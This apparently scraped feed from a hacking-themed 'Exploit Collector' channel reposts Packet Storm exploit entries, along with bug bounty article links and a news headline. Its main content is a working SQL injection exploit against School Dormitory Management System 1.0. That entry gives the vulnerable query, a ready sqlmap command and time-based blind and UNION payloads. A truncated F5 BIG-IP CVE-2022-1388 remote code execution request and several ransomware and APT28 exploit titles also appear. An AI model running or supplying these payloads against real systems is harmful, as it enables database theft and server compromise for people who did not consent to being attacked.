Exploit Collector
Travel Management System 1.0 SQL Injection

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Ransom.Satana Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Ransom.Conti Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
School Dormitory Management System 1.0 SQL Injection

https://2.bp.blogspot.com/-3bqdQy169Lk/WWlvCV-tQiI/AAAAAAAAIKk/BK-Yk_ldGYEd1hCc6yCV2jCLaxiytL8_wCLcBGAs/s1600/h127.png
School Dormitory Management System version 1.0 suffers from a remote SQL injection vulnerability.

SHA-256 | 35eface303d338348fb6d3c2744228b1f44d4ff33f83a1ac39f419a593227e06

Download
# Exploit Title: School Dormitory Management System - 'month' SQL Injection
# Date: 08/05/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15319/school-dormitory-management-system-phpoop-free-source-code.html
# Version: 1.0
# Tested on: XAMPP, Linux
# Vulnerable Code

line 59 in file "/dms/admin/reports/daily_collection_report.php"

$qry = $conn->query("SELECT p.*, a.code, s.code as student_code, concat(s.firstname, ' ', coalesce(concat(s.middlename,' '), ''), s.lastname) as `student`, d.name as dorm, r.name as `room` from payment_list p inner join account_list a on p.account_id = a.id inner join student_list s on a.student_id = s.id inner join room_list r on a.room_id = r.id inner join dorm_list d on r.dorm_id = d.id where (p.month_of) = '{$month}' order by student asc ");

# Sqlmap command:

sqlmap -u "http://localhost/dms/admin/?month=1&page=reports/daily_collection_report" -p month --level=5 --risk=3 --dbs --random-agent --eta

# Output:

Parameter: month (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: month=1' AND (SELECT 3271 FROM (SELECT(SLEEP(5)))duQT) AND 'NgBP'='NgBP&page=reports/daily_collection_report

Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: month=1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71626b6a71,0x485362486f7266597a444d417754744873427366706c4a4f706b7949467a6a61505468424c476753,0x716b6a7171),NULL,NULL,NULL,NULL-- -&page=reports/daily_collection_report

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
F5 BIG-IP Remote Code Execution

https://1.bp.blogspot.com/-CxGUMLkxSaY/WWlvcQOBNxI/AAAAAAAAIPc/zOKm_r-QYksdaJn5z44Zj2ZlNH1F7PBGQCLcBGAs/s1600/h75.png
F5 BIG-IP remote code execution proof of concept exploit that leverages the vulnerability identified in CVE-2022-1388.

SHA-256 | 2c3224e25af9797e9d7139c7d759da88b2eae07b09d164c4bf3a7423cfb95c06

Download
# F5 BIG-IP RCE exploitation (CVE-2022-1388)

POST (1):

POST /mgmt/tm/util/bash HTTP/1.1
Host:
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
APT28 FancyBear Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Ransom.Cryakl Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Bug Bounty Career: Web Hacking

DetailsContinue reading on Medium »
Read more...

The Basics of Subdomain Takeovers

A subdomain takeover is a vulnerability which allows an attacker to take the control of a subdomain which is not owned by that attacker.Continue reading on Medium »
Read more...

Bug Bounty Career: Web Hacking
https://0xshakhawat.medium.com/bug-bounty-career-web-hacking-59ea116dcfc3?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

DetailsContinue reading on Medium » (https://0xshakhawat.medium.com/bug-bounty-career-web-hacking-59ea116dcfc3?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

The Basics of Subdomain Takeovers
https://etzold.medium.com/the-basics-of-subdomain-takeovers-a0bbd4c84a4?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

A subdomain takeover is a vulnerability which allows an attacker to take the control of a subdomain which is not owned by that attacker.Continue reading on Medium » (https://etzold.medium.com/the-basics-of-subdomain-takeovers-a0bbd4c84a4?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
NFTs Emerge as the Next Enterprise Attack Vector

Cybersecurity has to be a top priority as enterprises begin incorporating the use of nonfungible tokens into their business strategies, brand-awareness campaigns, and employee-communication efforts, experts say.